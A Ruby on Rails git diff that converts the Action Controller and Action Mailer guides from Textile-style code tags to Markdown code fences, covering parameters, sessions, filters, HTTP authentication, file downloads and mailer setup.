aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--guides/source/action_controller_overview.md180
-rw-r--r--guides/source/action_mailer_basics.md128
-rw-r--r--guides/source/action_view_overview.md576
-rw-r--r--guides/source/active_model_basics.md36
-rw-r--r--guides/source/active_record_basics.md60
-rw-r--r--guides/source/active_record_querying.md604
-rw-r--r--guides/source/active_record_validations_callbacks.md304
-rw-r--r--guides/source/active_support_core_extensions.md1176
-rw-r--r--guides/source/active_support_instrumentation.md104
-rw-r--r--guides/source/ajax_on_rails.md84
-rw-r--r--guides/source/api_documentation_guidelines.md48
-rw-r--r--guides/source/asset_pipeline.md220
-rw-r--r--guides/source/association_basics.md492
-rw-r--r--guides/source/caching_with_rails.md112
-rw-r--r--guides/source/command_line.md128
-rw-r--r--guides/source/configuring.md140
-rw-r--r--guides/source/contributing_to_ruby_on_rails.md172
-rw-r--r--guides/source/debugging_rails_applications.md180
-rw-r--r--guides/source/engines.md300
-rw-r--r--guides/source/form_helpers.md300
-rw-r--r--guides/source/generators.md220
-rw-r--r--guides/source/getting_started.md328
-rw-r--r--guides/source/i18n.md228
-rw-r--r--guides/source/initialization.md140
-rw-r--r--guides/source/layouts_and_rendering.md440
-rw-r--r--guides/source/migrations.md196
-rw-r--r--guides/source/nested_model_forms.md56
-rw-r--r--guides/source/performance_testing.md120
-rw-r--r--guides/source/plugins.md100
-rw-r--r--guides/source/rails_application_templates.md76
-rw-r--r--guides/source/rails_on_rack.md64
-rw-r--r--guides/source/routing.md344
-rw-r--r--guides/source/ruby_on_rails_guides_guidelines.md36
-rw-r--r--guides/source/security.md294
-rw-r--r--guides/source/testing.md180
-rw-r--r--guides/source/upgrading_ruby_on_rails.md40
36 files changed, 4103 insertions, 4103 deletions
diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md
index 1d43b44391..866efb36b3 100644
--- a/guides/source/action_controller_overview.md
+++ b/guides/source/action_controller_overview.md
@@ -26,20 +26,20 @@ h3. Methods and Actions
A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
-<ruby>
+```ruby
class ClientsController < ApplicationController
def new
end
end
-</ruby>
+```
As an example, if a user goes to +/clients/new+ in your application to add a new client, Rails will create an instance of +ClientsController+ and run the +new+ method. Note that the empty method from the example above could work just fine because Rails will by default render the +new.html.erb+ view unless the action says otherwise. The +new+ method could make available to the view a +@client+ instance variable by creating a new +Client+:
-<ruby>
+```ruby
def new
@client = Client.new
end
-</ruby>
+```
The "Layouts & Rendering Guide":layouts_and_rendering.html explains this in more detail.
@@ -51,7 +51,7 @@ h3. Parameters
You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller:
-<ruby>
+```ruby
class ClientsController < ActionController::Base
# This action uses query string parameters because it gets run
# by an HTTP GET request, but this does not make any difference
@@ -81,15 +81,15 @@ class ClientsController < ActionController::Base
end
end
end
-</ruby>
+```
h4. Hash and Array Parameters
The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
-<pre>
+```
GET /clients?ids[]=1&ids[]=2&ids[]=3
-</pre>
+```
NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
@@ -97,14 +97,14 @@ The value of +params[:ids]+ will now be +["1", "2", "3"]+. Note that parameter v
To send a hash you include the key name inside the brackets:
-<html>
+```html
<form accept-charset="UTF-8" action="/clients" method="post">
<input type="text" name="client[name]" value="Acme" />
<input type="text" name="client[phone]" value="12345" />
<input type="text" name="client[address][postcode]" value="12345" />
<input type="text" name="client[address][city]" value="Carrot City" />
</form>
-</html>
+```
When this form is submitted, the value of +params[:client]+ will be <tt>{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}</tt>. Note the nested hash in +params[:client][:address]+.
@@ -116,23 +116,23 @@ If you're writing a web service application, you might find yourself more comfor
So for example, if you are sending this JSON parameter:
-<pre>
+```
{ "company": { "name": "acme", "address": "123 Carrot Street" } }
-</pre>
+```
You'll get <tt>params[:company]</tt> as <tt>{ :name => "acme", "address" => "123 Carrot Street" }</tt>.
Also, if you've turned on +config.wrap_parameters+ in your initializer or calling +wrap_parameters+ in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
-<pre>
+```
{ "name": "acme", "address": "123 Carrot Street" }
-</pre>
+```
And assume that you're sending the data to +CompaniesController+, it would then be wrapped in +:company+ key like this:
-<ruby>
+```ruby
{ :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" }}
-</ruby>
+```
You can customize the name of the key or specific parameters you want to wrap by consulting the "API documentation":http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html
@@ -140,9 +140,9 @@ h4. Routing Parameters
The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL:
-<ruby>
+```ruby
match '/clients/:status' => 'clients#index', :foo => "bar"
-</ruby>
+```
In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index".
@@ -150,13 +150,13 @@ h4. +default_url_options+
You can set global default parameters for URL generation by defining a method called +default_url_options+ in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
def default_url_options
{:locale => I18n.locale}
end
end
-</ruby>
+```
These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed in +url_for+ calls.
@@ -184,32 +184,32 @@ Read more about session storage in the "Security Guide":security.html.
If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file:
-<ruby>
+```ruby
# Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
# (create the session table with "script/rails g active_record:session_migration")
# YourApp::Application.config.session_store :active_record_store
-</ruby>
+```
Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in +config/initializers/session_store.rb+:
-<ruby>
+```ruby
# Be sure to restart your server when you modify this file.
YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session'
-</ruby>
+```
You can also pass a +:domain+ key and specify the domain name for the cookie:
-<ruby>
+```ruby
# Be sure to restart your server when you modify this file.
YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session', :domain => ".example.com"
-</ruby>
+```
Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in +config/initializers/secret_token.rb+
-<ruby>
+```ruby
# Be sure to restart your server when you modify this file.
# Your secret key for verifying the integrity of signed cookies.
@@ -217,7 +217,7 @@ Rails sets up (for the CookieStore) a secret key used for signing the session da
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
YourApp::Application.config.secret_token = '49d3f3de9ed86c74b94ad6bd0...'
-</ruby>
+```
NOTE: Changing the secret when using the +CookieStore+ will invalidate all existing sessions.
@@ -229,7 +229,7 @@ NOTE: Sessions are lazily loaded. If you don't access sessions in your action's
Session values are stored using key/value pairs like a hash:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
private
@@ -243,11 +243,11 @@ class ApplicationController < ActionController::Base
User.find_by_id(session[:current_user_id])
end
end
-</ruby>
+```
To store something in the session, just assign it to the key like a hash:
-<ruby>
+```ruby
class LoginsController < ApplicationController
# "Create" a login, aka "log the user in"
def create
@@ -259,11 +259,11 @@ class LoginsController < ApplicationController
end
end
end
-</ruby>
+```
To remove something from the session, assign that key to be +nil+:
-<ruby>
+```ruby
class LoginsController < ApplicationController
# "Delete" a login, aka "log the user out"
def destroy
@@ -272,7 +272,7 @@ class LoginsController < ApplicationController
redirect_to root_url
end
end
-</ruby>
+```
To reset the entire session, use +reset_session+.
@@ -284,7 +284,7 @@ It is accessed in much the same way as the session, as a hash (it's a "FlashHash
Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
-<ruby>
+```ruby
class LoginsController < ApplicationController
def destroy
session[:current_user_id] = nil
@@ -292,19 +292,19 @@ class LoginsController < ApplicationController
redirect_to root_url
end
end
-</ruby>
+```
Note that it is also possible to assign a flash message as part of the redirection. You can assign +:notice+, +:alert+ or the general purpose +:flash+:
-<ruby>
+```ruby
redirect_to root_url, :notice => "You have successfully logged out."
redirect_to root_url, :alert => "You're stuck here!"
redirect_to root_url, :flash => { :referral_code => 1234 }
-</ruby>
+```
The +destroy+ action redirects to the application's +root_url+, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout:
-<ruby>
+```ruby
<html>
<!-- <head/> -->
<body>
@@ -317,21 +317,21 @@ The +destroy+ action redirects to the application's +root_url+, where the messag
<!-- more content -->
</body>
</html>
-</ruby>
+```
This way, if an action sets a notice or an alert message, the layout will display it automatically.
You can pass anything that the session can store; you're not limited to notices and alerts:
-<ruby>
+```ruby
<% if flash[:just_signed_up] %>
<p class="welcome">Welcome to our site!</p>
<% end %>
-</ruby>
+```
If you want a flash value to be carried over to another request, use the +keep+ method:
-<ruby>
+```ruby
class MainController < ApplicationController
# Let's say this action corresponds to root_url, but you want
# all requests here to be redirected to UsersController#index.
@@ -347,13 +347,13 @@ class MainController < ApplicationController
redirect_to users_url
end
end
-</ruby>
+```
h5. +flash.now+
By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+:
-<ruby>
+```ruby
class ClientsController < ApplicationController
def create
@client = Client.new(params[:client])
@@ -365,13 +365,13 @@ class ClientsController < ApplicationController
end
end
end
-</ruby>
+```
h3. Cookies
Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash:
-<ruby>
+```ruby
class CommentsController < ApplicationController
def new
# Auto-fill the commenter's name if it has been stored in a cookie
@@ -395,7 +395,7 @@ class CommentsController < ApplicationController
end
end
end
-</ruby>
+```
Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+.
@@ -403,7 +403,7 @@ h3. Rendering xml and json data
ActionController makes it extremely easy to render +xml+ or +json+ data. If you generate a controller using scaffold then your controller would look something like this.
-<ruby>
+```ruby
class UsersController < ApplicationController
def index
@users = User.all
@@ -414,7 +414,7 @@ class UsersController < ApplicationController
end
end
end
-</ruby>
+```
Notice that in the above case code is <tt>render :xml => @users</tt> and not <tt>render :xml => @users.to_xml</tt>. That is because if the input is not string then rails automatically invokes +to_xml+ .
@@ -427,7 +427,7 @@ Filters are inherited, so if you set a filter on +ApplicationController+, it wil
Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
before_filter :require_login
@@ -449,17 +449,17 @@ class ApplicationController < ActionController::Base
!!current_user
end
end
-</ruby>
+```
The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled.
In this example the filter is added to +ApplicationController+ and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with +skip_before_filter+:
-<ruby>
+```ruby
class LoginsController < ApplicationController
skip_before_filter :require_login, :only => [:new, :create]
end
-</ruby>
+```
Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
@@ -473,7 +473,7 @@ Around filters are responsible for running their associated actions by yielding,
For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:
-<ruby>
+```ruby
class ChangesController < ActionController::Base
around_filter :wrap_in_transaction, :only => :show
@@ -489,7 +489,7 @@ class ChangesController < ActionController::Base
end
end
end
-</ruby>
+```
Note that an around filter also wraps rendering. In particular, if in the example above, the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview.
@@ -501,19 +501,19 @@ While the most common way to use filters is by creating private methods and usin
The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the +require_login+ filter from above could be rewritten to use a block:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
before_filter do |controller|
redirect_to new_login_url unless controller.send(:logged_in?)
end
end
-</ruby>
+```
Note that the filter in this case uses +send+ because the +logged_in?+ method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
before_filter LoginFilter
end
@@ -526,7 +526,7 @@ class LoginFilter
end
end
end
-</ruby>
+```
Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action.
@@ -540,23 +540,23 @@ The way this is done is to add a non-guessable token which is only known to your
If you generate a form like this:
-<ruby>
+```ruby
<%= form_for @user do |f| %>
<%= f.text_field :username %>
<%= f.text_field :password %>
<% end %>
-</ruby>
+```
You will see how the token gets added as a hidden field:
-<html>
+```html
<form accept-charset="UTF-8" action="/users/1" method="post">
<input type="hidden"
value="67250ab105eb5ad10851c00a5621854a23af5489"
name="authenticity_token"/>
<!-- fields -->
</form>
-</html>
+```
Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method +form_authenticity_token+:
@@ -605,9 +605,9 @@ h5. Setting Custom Headers
If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way:
-<ruby>
+```ruby
response.headers["Content-Type"] = "application/pdf"
-</ruby>
+```
h3. HTTP Authentications
@@ -620,11 +620,11 @@ h4. HTTP Basic Authentication
HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +http_basic_authenticate_with+.
-<ruby>
+```ruby
class AdminController < ApplicationController
http_basic_authenticate_with :name => "humbaba", :password => "5baa61e4"
end
-</ruby>
+```
With this in place, you can create namespaced controllers that inherit from +AdminController+. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
@@ -632,7 +632,7 @@ h4. HTTP Digest Authentication
HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+.
-<ruby>
+```ruby
class AdminController < ApplicationController
USERS = { "lifo" => "world" }
@@ -646,7 +646,7 @@ class AdminController < ApplicationController
end
end
end
-</ruby>
+```
As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure.
@@ -656,7 +656,7 @@ Sometimes you may want to send a file to the user instead of rendering an HTML p
To stream data to the client, use +send_data+:
-<ruby>
+```ruby
require "prawn"
class ClientsController < ApplicationController
# Generates a PDF document with information on the client and
@@ -678,7 +678,7 @@ class ClientsController < ApplicationController
end.render
end
end
-</ruby>
+```
The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment".
@@ -686,7 +686,7 @@ h4. Sending Files
If you want to send a file that already exists on disk, use the +send_file+ method.
-<ruby>
+```ruby
class ClientsController < ApplicationController
# Stream a file that has already been generated and stored on disk.
def download_pdf
@@ -696,7 +696,7 @@ class ClientsController < ApplicationController
:type => "application/pdf")
end
end
-</ruby>
+```
This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option.
@@ -710,7 +710,7 @@ h4. RESTful Downloads
While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming:
-<ruby>
+```ruby
class ClientsController < ApplicationController
# The user can request to receive this resource as HTML or PDF.
def show
@@ -722,29 +722,29 @@ class ClientsController < ApplicationController
end
end
end
-</ruby>
+```
In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file +config/initializers/mime_types.rb+:
-<ruby>
+```ruby
Mime::Type.register "application/pdf", :pdf
-</ruby>
+```
NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
-<shell>
+```shell
GET /clients/1.pdf
-</shell>
+```
h3. Parameter Filtering
Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. You can filter certain request parameters from your log files by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
-<ruby>
+```ruby
config.filter_parameters << :password
-</ruby>
+```
h3. Rescue
@@ -764,7 +764,7 @@ When an exception occurs which is caught by a +rescue_from+ directive, the excep
Here's how you can use +rescue_from+ to intercept all +ActiveRecord::RecordNotFound+ errors and do something with them.
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
@@ -774,11 +774,11 @@ class ApplicationController < ActionController::Base
render :text => "404 Not Found", :status => 404
end
end
-</ruby>
+```
Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
rescue_from User::NotAuthorized, :with => :user_not_authorized
@@ -806,7 +806,7 @@ class ClientsController < ApplicationController
raise User::NotAuthorized unless current_user.admin?
end
end
-</ruby>
+```
NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information.
@@ -814,20 +814,20 @@ h3. Force HTTPS protocol
Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that:
-<ruby>
+```ruby
class DinnerController
force_ssl
end
-</ruby>
+```
Just like the filter, you could also passing +:only+ and +:except+ to enforce the secure connection only to specific actions.
-<ruby>
+```ruby
class DinnerController
force_ssl :only => :cheeseburger
# or
force_ssl :except => :cheeseburger
end
-</ruby>
+```
Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file.
diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md
index d92d5c48fb..fd113aaa70 100644
--- a/guides/source/action_mailer_basics.md
+++ b/guides/source/action_mailer_basics.md
@@ -18,14 +18,14 @@ h4. Walkthrough to Generating a Mailer
h5. Create the Mailer
-<shell>
+```shell
$ rails generate mailer UserMailer
create app/mailers/user_mailer.rb
invoke erb
create app/views/user_mailer
invoke test_unit
create test/functional/user_mailer_test.rb
-</shell>
+```
So we got the mailer, the views, and the tests.
@@ -33,15 +33,15 @@ h5. Edit the Mailer
+app/mailers/user_mailer.rb+ contains an empty mailer:
-<ruby>
+```ruby
class UserMailer < ActionMailer::Base
default :from => "from@example.com"
end
-</ruby>
+```
Let's add a method called +welcome_email+, that will send an email to the user's registered email address:
-<ruby>
+```ruby
class UserMailer < ActionMailer::Base
default :from => "notifications@example.com"
@@ -51,7 +51,7 @@ class UserMailer < ActionMailer::Base
mail(:to => user.email, :subject => "Welcome to My Awesome Site")
end
end
-</ruby>
+```
Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section.
@@ -64,7 +64,7 @@ h5. Create a Mailer View
Create a file called +welcome_email.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML:
-<erb>
+```erb
<!DOCTYPE html>
<html>
<head>
@@ -82,11 +82,11 @@ Create a file called +welcome_email.html.erb+ in +app/views/user_mailer/+. This
<p>Thanks for joining and have a great day!</p>
</body>
</html>
-</erb>
+```
It is also a good idea to make a text part for this email. To do this, create a file called +welcome_email.text.erb+ in +app/views/user_mailer/+:
-<erb>
+```erb
Welcome to example.com, <%= @user.name %>
===============================================
@@ -96,7 +96,7 @@ your username is: <%= @user.login %>.
To login to the site, just follow this link: <%= @url %>.
Thanks for joining and have a great day!
-</erb>
+```
When you call the +mail+ method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a <tt>multipart/alternative</tt> email.
@@ -108,14 +108,14 @@ Setting this up is painfully simple.
First off, we need to create a simple +User+ scaffold:
-<shell>
+```shell
$ rails generate scaffold user name:string email:string login:string
$ rake db:migrate
-</shell>
+```
Now that we have a user model to play with, we will just edit the +app/controllers/users_controller.rb+ make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to <tt>UserMailer.welcome_email</tt> right after the user is successfully saved:
-<ruby>
+```ruby
class UsersController < ApplicationController
# POST /users
# POST /users.json
@@ -136,7 +136,7 @@ class UsersController < ApplicationController
end
end
end
-</ruby>
+```
This provides a much simpler implementation that does not require the registering of observers and the like.
@@ -168,21 +168,21 @@ Defining custom headers are simple, you can do it one of three ways:
* Defining a header field as a parameter to the +mail+ method:
-<ruby>
+```ruby
mail("X-Spam" => value)
-</ruby>
+```
* Passing in a key value assignment to the +headers+ method:
-<ruby>
+```ruby
headers["X-Spam"] = value
-</ruby>
+```
* Passing a hash of key value pairs to the +headers+ method:
-<ruby>
+```ruby
headers {"X-Spam" => value, "X-Special" => another_value}
-</ruby>
+```
TIP: All <tt>X-Value</tt> headers per the RFC2822 can appear more than once. If you want to delete an <tt>X-Value</tt> header, you need to assign it a value of <tt>nil</tt>.
@@ -192,20 +192,20 @@ Adding attachments has been simplified in Action Mailer 3.0.
* Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment.
-<ruby>
+```ruby
attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
-</ruby>
+```
NOTE: Mail will automatically Base64 encode an attachment. If you want something different, pre-encode your content and pass in the encoded content and encoding in a +Hash+ to the +attachments+ method.
* Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in.
-<ruby>
+```ruby
encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
attachments['filename.jpg'] = {:mime_type => 'application/x-gzip',
:encoding => 'SpecialEncoding',
:content => encoded_content }
-</ruby>
+```
NOTE: If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.
@@ -215,34 +215,34 @@ Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in p
* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer:
-<ruby>
+```ruby
def welcome
attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
end
-</ruby>
+```
* Then in your view, you can just reference <tt>attachments[]</tt> as a hash and specify which attachment you want to show, calling +url+ on it and then passing the result into the <tt>image_tag</tt> method:
-<erb>
+```erb
<p>Hello there, this is our image</p>
<%= image_tag attachments['image.jpg'].url %>
-</erb>
+```
* As this is a standard call to +image_tag+ you can pass in an options hash after the attachment URL as you could for any other image:
-<erb>
+```erb
<p>Hello there, this is our image</p>
<%= image_tag attachments['image.jpg'].url, :alt => 'My Photo',
:class => 'photos' %>
-</erb>
+```
h5. Sending Email To Multiple Recipients
It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.
-<ruby>
+```ruby
class AdminMailer < ActionMailer::Base
default :to => Proc.new { Admin.pluck(:email) },
:from => "notification@example.com"
@@ -252,7 +252,7 @@ class AdminMailer < ActionMailer::Base
mail(:subject => "New User Signup: #{@user.email}")
end
end
-</ruby>
+```
The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively.
@@ -261,13 +261,13 @@ h5. Sending Email With Name
Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is
to format the email address in the format <tt>"Name &lt;email&gt;"</tt>.
-<ruby>
+```ruby
def welcome_email(user)
@user = user
email_with_name = "#{@user.name} <#{@user.email}>"
mail(:to => email_with_name, :subject => "Welcome to My Awesome Site")
end
-</ruby>
+```
h4. Mailer Views
@@ -275,7 +275,7 @@ Mailer views are located in the +app/views/name_of_mailer_class+ directory. The
To change the default mailer view for your action you do something like:
-<ruby>
+```ruby
class UserMailer < ActionMailer::Base
default :from => "notifications@example.com"
@@ -288,13 +288,13 @@ class UserMailer < ActionMailer::Base
:template_name => 'another')
end
end
-</ruby>
+```
In this case it will look for templates at +app/views/notifications+ with name +another+.
If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file:
-<ruby>
+```ruby
class UserMailer < ActionMailer::Base
default :from => "notifications@example.com"
@@ -309,7 +309,7 @@ class UserMailer < ActionMailer::Base
end
end
-</ruby>
+```
This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt>, <tt>:inline</tt> etc.
@@ -319,17 +319,17 @@ Just like controller views, you can also have mailer layouts. The layout name ne
In order to use a different file just use:
-<ruby>
+```ruby
class UserMailer < ActionMailer::Base
layout 'awesome' # use awesome.(html|text).erb as the layout
end
-</ruby>
+```
Just like with controller views, use +yield+ to render the view inside the layout.
You can also pass in a <tt>:layout => 'layout_name'</tt> option to the render call inside the format block to specify different layouts for different actions:
-<ruby>
+```ruby
class UserMailer < ActionMailer::Base
def welcome_email(user)
mail(:to => user.email) do |format|
@@ -338,7 +338,7 @@ class UserMailer < ActionMailer::Base
end
end
end
-</ruby>
+```
Will render the HTML part using the <tt>my_layout.html.erb</tt> file and the text part with the usual <tt>user_mailer.text.erb</tt> file if it exists.
@@ -348,25 +348,25 @@ URLs can be generated in mailer views using +url_for+ or named routes.
Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+:
-<erb>
+```erb
<%= url_for(:host => "example.com",
:controller => "welcome",
:action => "greeting") %>
-</erb>
+```
When using named routes you only need to supply the +:host+:
-<erb>
+```erb
<%= user_url(@user, :host => "example.com") %>
-</erb>
+```
Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt> option as a configuration option in <tt>config/application.rb</tt>:
-<ruby>
+```ruby
config.action_mailer.default_url_options = { :host => "example.com" }
-</ruby>
+```
If you use this setting, you should pass the <tt>:only_path => false</tt> option when using +url_for+. This will ensure that absolute URLs are generated because the +url_for+ view helper will, by default, generate relative URLs when a <tt>:host</tt> option isn't explicitly provided.
@@ -376,7 +376,7 @@ Action Mailer will automatically send multipart emails if you have different tem
The order of the parts getting inserted is determined by the <tt>:parts_order</tt> inside of the <tt>ActionMailer::Base.default</tt> method. If you want to explicitly alter the order, you can either change the <tt>:parts_order</tt> or explicitly render the parts in a different order:
-<ruby>
+```ruby
class UserMailer < ActionMailer::Base
def welcome_email(user)
@user = user
@@ -388,7 +388,7 @@ class UserMailer < ActionMailer::Base
end
end
end
-</ruby>
+```
Will put the HTML part first, and the plain text part second.
@@ -396,7 +396,7 @@ h4. Sending Emails with Attachments
Attachments can be added by using the +attachments+ method:
-<ruby>
+```ruby
class UserMailer < ActionMailer::Base
def welcome_email(user)
@user = user
@@ -406,7 +406,7 @@ class UserMailer < ActionMailer::Base
:subject => "Please see the Terms and Conditions attached")
end
end
-</ruby>
+```
The above will send a multipart email with an attachment, properly nested with the top level being <tt>multipart/mixed</tt> and the first part being a <tt>multipart/alternative</tt> containing the plain text and HTML email messages.
@@ -435,7 +435,7 @@ Receiving and parsing emails with Action Mailer can be a rather complex endeavor
